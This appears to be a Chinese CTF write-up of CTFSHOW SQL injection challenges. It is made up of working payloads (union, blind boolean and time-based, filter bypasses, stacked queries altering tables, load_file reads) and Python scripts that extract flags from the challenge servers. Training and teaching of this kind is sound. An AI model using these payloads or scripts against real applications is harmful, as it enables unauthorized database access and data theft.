title: CTFSHOW-sql注入(一)
data: 2021-09-15
tags: CTF-web
开始一周的高强度sql注入训练,先从ctfshow 的基础开始。
包含了CTFSHOW sql注入的 170-200题。
这里都是sql注入的一些基本知识点。主要是了解sql注入的常见题型。
万能密码: 1'or 1=1-- -
这里看出有一定的waf,我们并不能在username里面输入flag且返回的列里面也不能有flag。那么我们已知flag在ctfshow_user2表中,且列名为flag。直接编码即可。
payload: 1' union select to_base64(username),password from ctfshow_user2 -- -
这里有一个细节就是如果我们采用的是get传参的方式的话,那么我们使用#时候需要使用%23。否则不会杯传到数据库中当作注释使用。
payload: 1' union select 1,2,group_concat(password) from ctfshow_user3%23
group_concat()直接把所有password连起来就行了。
这个题首先,没判断出来是盲注。主要还是参考了Y4师傅的WP。但是最后一个Y4师傅是靠经验推断flag在第二十三行。这里我们采用一个正则匹配,就不用去猜flag在哪里了。
# @Author:k1he import requests url = "http://60e5e391-09c0-4ed1-a9a2-57d8e70d4c64.challenge.ctf.show:8080/api/v4.php?id=1" flag = '' for i in range(1,100): min =32 max =127 while 1: mid = (max+min)>>1 if(min == mid): flag += chr(mid) print(flag) break #payload = "'and ascii(substr((select database()),{},1))<{}-- -".format(i,mid) payload = "'and ascii(substr((select group_concat(password) from ctfshow_user4 where password regexp('^ctf')),{},1))<{}-- -".format(i,mid) res = requests.get(url+payload) if "admin" in res.text: max = mid else: min = mid #库名 #ctfshow_web #表名 #ctfshow_user4 #列名 #id,username,password #flag #ctfshow{35c495e4-d5bc-450c-a16a-c51f5777633f}
看题目。返回内容不能有ascii为0-127的字符。直接把回显关了。只能直接采用盲注了。但是这里有一个新的问题是,怎么敲都是查询失败。
# -*- coding: utf-8 -*- # @Author: k1he # @Date: 2021-09-18 17:30:35 # @Last Modified by: k1he # @Last Modified time: 2021-09-18 17:47:28 import requests url = "http://617002ea-275b-4340-9ced-18d46d869a56.challenge.ctf.show:8080/api/v5.php?id=1" flag = '' for i in range(1,100): max = 127 min = 32 while 1: mid = (max+min)>>1 if(min == mid): flag += chr(mid) print(flag) break #表名 #paylaod = "1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.6),0)-- -".format(i,mid) #列名 #paylaod = "1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user5'),{},1))<{},sleep(0.6),0)-- -".format(i,mid) #id,username,password #flag paylaod = "1'and if(ascii(substr((select group_concat(password) from ctfshow_user5 where password regexp('^ctf')),{},1))<{},sleep(0.6),0)-- -".format(i,mid) #ctfshow{97c033fb-e734-4ff5-894b-37c1e3145f8e} try: res = requests.get(url=url+paylaod,timeout=0.5) min = mid except: max = mid #库名 #ctfshow_web #表名 #ctfshow_user5 #列名 #id,user,password
payload: 1'or 1=1%23 payload: 1' union sElect 1,2,group_concat(password) from ctfshow_user%23
payload: 1'or%091=1%23 payload: 1'union%09sElect%091,2,group_concat(password)%09from%09ctfshow_user%23
贴个小tips:
绕过空格姿势:(暂时只想起来这么多后面再补) %09 %0a %0c %0b %0d /**/
暂时这题不知道过滤了什么。 payload: 1'or%091=1%23 payload: 1'union%09select%091,2,group_concat(password)%09from%09ctfshow_user%23
简单测试过后,很容易发现过滤了%0a,%09。那么我们采用手工闭合或者%0c
payload: 1'or'1'='1'%23 1'or(1)=(1)%23 payload: 1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23
payload: 1'or'1'='1'--%0c- payload: 1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user--%0c-
这题直接给出了过滤列表了。
|\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i
可以看到最关键的select被过滤了。
这里卡住了,因为没有select太不好操作了。而handler需要能够连续执行语句的时候才能用。
去看了看师傅们的WP。
payload: -1'or(id=26)and'1'='1
这个payload读一下还是能读懂的。
$sql = "select count(pass) from ".$_POST['tableName'].";"; function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str); }
可以看到这题有回显,并且返回pass的条目。
这里进行了好久的测试。刚开始用的chr(32)~chr(127)。但是发现因为我们使用的是正则匹配,因此我们的通配符会被算上。直接雪崩。
后面采用了最简单的枚举法。
# -*- coding: utf-8 -*- # @Author: k1he # @Date: 2021-09-18 20:25:26 # @Last Modified by: k1he # @Last Modified time: 2021-09-18 20:47:53 import requests url ="http://3df76f1c-80a4-442b-921e-7c8e77b7be14.challenge.ctf.show:8080/select-waf.php" flag = "" letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}' for i in range(0,40): #此处可适当调大 for j in letter: temp_flag = flag+j data = { "tableName":"(ctfshow_user)where(pass)regexp('^ctfshow{}')".format(temp_flag) } r = requests.post(url=url,data=data) #print(r.text) #print(data['tableName']) if "$user_count = 1;" in r.text: flag += j print("ctfshow"+flag) break else: continue #ctfshow{2a41856e-f78f-4805-9c6b-3c159f2eed50}
此题在上一题的基础上过滤了单双引号。where。
并且因为没有了单双引号,因此我们无法继续采用正则匹配。因此我们只能使用非字符串的方式来匹配。那么选择使用16进制来匹配。
# -*- coding: utf-8 -*- # @Author: k1he # @Date: 2021-09-18 21:01:32 # @Last Modified by: k1he # @Last Modified time: 2021-09-18 21:15:25 import requests import sys url = "http://345bf49b-6769-4ef8-83bd-b502bb7928fb.challenge.ctf.show:8080/select-waf.php" letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}" def asc2hex(s): a1 = '' a2 = '' for i in s: a1+=hex(ord(i)) a2 = a1.replace("0x","") return a2 flag = "ctfshow{" for i in range(0,100): for j in letter: temp_flag = flag+j data ={ "tableName":"ctfshow_user group by pass having pass like ({})".format("0x"+asc2hex(temp_flag+"%")) } #print(data["tableName"]) r = requests.post(url=url,data=data) if "$user_count = 1;" in r.text: flag += j print(flag) break else: continue #ctfshow{ff9725af-75f3-4aad-b5a4-176d7bf6c717}
function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); }
这里可以看出在上一题的基础上更过滤了数字0-9.
抄了一个脚本,师傅们tql.
这里的核心在like后面使用了concat+chr的方式来得到字符串。
然后数字使用了true+true=2这种方式来绕过。
总体就是
like concat(chr(true+true),chr(true+true)) —>like "ctfshow{"—>得到flag
# -*- coding: utf-8 -*- # @Author: k1he # @Date: 2021-09-18 21:01:32 # @Last Modified by: k1he # @Last Modified time: 2021-09-19 10:23:39 import requests import sys def createNum(n): num = "true" if n == 1: return "true" else: for i in range(n - 1): num += "+true" return num def createstrNum(m): _str = "" for j in m: _str += ",chr(" + createNum(ord(j)) + ")" return _str[1:] url = "http://6e155536-4130-4c33-899e-241450edf3b5.challenge.ctf.show:8080/select-waf.php" letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}" flag = "ctfshow{" for i in range(100): for j in letter: data = { 'tableName': 'ctfshow_user group by pass having pass like concat({})'.format(createstrNum(flag + j +"%")) } res = requests.post(url=url, data=data).text #print(data["tableName"]) if "$user_count = 1;" in res: flag += j print(flag) break if j == "}": sys.exit() #ctfshow{55d05897-933b-4796-99f3-5cfe49a5436a}
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'"; $username = $_POST['username']; $password = md5($_POST['password'],true); //只有admin可以获得flag if($username!='admin'){ $ret['msg']='用户名不存在'; die(json_encode($ret)); }
这里问题主要在这个MD5函数上面。因为MD5函数存在两个参数,其中第二个参数默认为false。当其为true的时候,会返回16位原始二进制字符串。因此这里我们需要找到一个转换为原始16位二进制字符串后满足我们的注入。
可以看到很明显这里我们存在单引号,那么可以直接注入了。
注入后就变成了
$sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or'6xxxxxx'";
这里只要是数字1之类的都会被判断为true。因此成功登陆了。
payload: username:admin password:ffifdyop
payload: username:admin password:129581926211651571912466741651878684928
抓包即拿到flag
$sql = "select pass from ctfshow_user where username = {$username}"; //用户名检测 if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==intval($password)){ $ret['msg']='登陆成功'; array_push($ret['data'], array('flag'=>$flag)); }
可以看到这里登陆成功就有flag。
第一想法是对admin的密码进行修改。然后登陆成功即可。
}and update ctshow_user set pass=123 where username = admin%23
但是行不通。看着这么多眼熟的函数,上网搜了搜,mysql里面也存在弱比较。
1.字符串当作数字处理 即当mysql中字符串与数字做比较的时候,会将字符串当作数字来比较。如123bac会当作123处理。 因此我们在查询的时候即使username=0,也会返回一些以0开头的数据。 2.品一下下面的句子。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BUEcYdPs-1633341285782)(https://i.loli.net/2021/09/19/YDRMFk1vHInS2wL.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eQZ8W7KS-1633341285784)(https://i.loli.net/2021/09/19/aNj8pICesuEyKQr.png)]
payload1: username=0&password=0 payload2: username=1||1&password=0
$sql = "select pass from ctfshow_user where username = {$username}"; if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; }
可以很清晰得看出这里没有空格了。所有空格都没了。在题目下给了一个hint:flag在/api/index.php中。
那么合理猜测我们需要去读index.php的内容。然后看load_file没有被ban掉。
根据目录应该时/var/www/html/api/index.php
测试了一下。回显只有查询失败和密码错误。那么想到了盲注。配合regexp使用。
if(load_file("/var/www/html/api/index.php")regexp("ctfshow{"),0,1)#
上脚本跑
# -*- coding: utf-8 -*- # @Author: k1he # @Date: 2021-09-18 20:25:26 # @Last Modified by: k1he # @Last Modified time: 2021-09-19 15:55:45 import requests url ="http://672fae7a-35db-4eca-8187-c6d1bcd4d481.challenge.ctf.show:8080/api/index.php" flag = "ctfshow{" letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}' for i in range(0,60): #此处可适当调大 for j in letter: temp_flag = flag+j data = { "username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)#".format(temp_flag), "password": 0, } r = requests.post(url=url,data=data) #print(r.text) #print(data['username']) if "密码错误" in r.json()['msg']: flag += j print(flag) break else: continue #ctfshow{335a466f-e9f5-4840-9e17-eefddd2eed9e}
这里还学到一点就是返回的是json的时候该怎么处理。
$sql = "select pass from ctfshow_user where username = '{$username}'"; //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪
测试了一下,本题多了一个用户名判断。应该是强比较判断。盲注。
这里手工测试一下,很容易发现用户名处存在盲注。
只存在"密码错误"和"用户名不存在"。当我们用户名处成功注入时返回密码错误。
# -*- coding: utf-8 -*- # @Author: k1he # @Date: 2021-09-18 21:01:32 # @Last Modified by: k1he # @Last Modified time: 2021-09-19 15:25:03 import requests import sys url = "http://ec825111-5f1a-434e-832f-7c2c48c558ed.challenge.ctf.show:8080/api/" flag = "" for i in range(1,60): max = 127 min = 32 while 1: mid = (max+min)>>1 if(min == mid): flag += chr(mid) print(flag) break #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid) #ctfshow_web #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid) #ctfshow_fl0g #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid) #id,f1ag payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid) data = { "username":payload, "password":0, } res = requests.post(url = url,data =data) if "密码错误" == res.json()['msg']: max = mid else: min = mid #ctfshow{41c6d58b-1795-41ba-8d5d-56be249791aa}
if(preg_match('/file|into|ascii/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); }
增加了盲注过滤。没什么影响。ascii用ord替换。脚本一把梭哈。
# -*- coding: utf-8 -*- # @Author: k1he # @Date: 2021-09-18 20:25:26 # @Last Modified by: k1he # @Last Modified time: 2021-09-19 16:22:24 import requests url ="http://9a8a7166-7150-4c7a-98ef-d4da2ef7781b.challenge.ctf.show:8080/api/" flag = "" for i in range(1,60): max = 127 min = 32 while 1: mid = (max+min)>>1 if(mid == min): flag += chr(mid) print(flag) if(chr(mid)=="{"): exit() break #payload = "admin'and ascii(substr((select database()),{},1))>{}#".format(i,mid) #payload = "admin'and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{}#".format(i,mid) #ctfshow_fl0g #payload = "admin'and ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{}#".format(i,mid) #id,f1ag payload = "admin'and ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))<{}#".format(i,mid) data = { "username":payload, "password":0, } res = requests.post(url=url,data=data) #print(res.text) #print(payload) if "密码错误" in res.json()['msg']: max = mid else: min = mid
admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1)regexp('{j}'),1,2)='1"
# -*- coding: utf-8 -*- # @Author: k1he # @Date: 2021-09-18 20:25:26 # @Last Modified by: k1he # @Last Modified time: 2021-09-19 16:51:22 import requests url ="http://a64eba92-a4e4-4b96-b11d-d5ad34cce45b.challenge.ctf.show:8080/api/" flag = "" letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}' for i in range(0,60): #此处可适当调大 for j in letter: temp_flag = flag+j data = { "username": "admin'and if(substr((select group_concat(f1ag) from ctfshow_fl0g where f1ag regexp('ctfshow')),{},1)='{}',0,1)#".format(i,j), "password": 0, } r = requests.post(url=url,data=data) #print(r.text) #print(data['username']) if "用户名不存在" in r.json()['msg']: flag += j print(flag) break else: continue #ctfshow{da178f3e-bfd6-42dc-89a8-f507be312c6f}
讲道理这里的话上一题的Payload将substr换成mid就能用了。但是不知道为什么没打通。
选择了抄师傅们的脚本。这里用的是like注入。但是好像like注入确实比regexp注入好理解。
# -*- coding: utf-8 -*- # @Author: k1he # @Date: 2021-09-18 20:25:26 # @Last Modified by: k1he # @Last Modified time: 2021-09-19 18:39:19 import requests url='http://40ebd4e2-e4d3-41d1-80e7-421bc0d3dc26.challenge.ctf.show:8080/api/' flag="" letter = "0123456789abcdefghijklmnopqrstuvwxyz-,{}_" for i in range(0,100): for j in letter: #payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0)#".format(flag+j+"%") #ctfshow_flxg #payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0)#".format(flag+j+"%") #id,f1ag payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0)-- -".format(flag+j+"%") #ctfshow{7259adb9-4f34-4c72-bbeb-0fd74517cd3c} data={ 'username':payload, 'password':1 } #print(payload) r=requests.post(url=url,data=data) #print(r.text) if "密码错误" in r.json()['msg']: flag+=j print(flag) if j=='}': exit() break
//密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
这里开启堆叠注入了。堆叠注入不是很理解。只能边看WP边学了。
堆叠注入的核心就是可以执行多个语句。
那么这里我们并不知道密码,可以利用堆叠注入进行一个更改密码的语句执行。
之前我一直以为反单引号内部代表表名。后面查了一下,反单引号用于区分保留字。
对于本题也就是pass
代表pass字段。`
payload: username:0;update`ctfshow_user`set`pass`=1; password:1 点两下登陆就行了。
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if(strlen($username)>16){ $ret['msg']='用户名不能超过16个字符'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
这里目前还没问到预期解。。
据说这题没有ban select。但是正则里面确实写了ban select。问了下群主,忘了ban select.... 因此这里是非预期: payload: username:0;select(1); password:1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fPPGM5ON-1633341285787)(https://i.loli.net/2021/09/19/UJrVQihSEH8NFsg.png)]
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
这里可以看出没有了update我们无法更改密码了。但是这个判断的话我们可以通过将pass字段和id字段互换。进而通过爆破id就能拿到flag。
paylaod: username:0;alter table `ctfshow_user` change `pass` `k1he` varchar(255); alter table `ctfshow_user` change `id` `pass` varchar(255);
感觉这个主要是出题的问题。好像190-200都能用这个通杀。
因为这里作比较的主要是查询后的结果和传入的参数比较。又有row[0]的存在。
因此我们可以使用这个非预期payload。
payload: username:0;show tables; password:ctfshow_user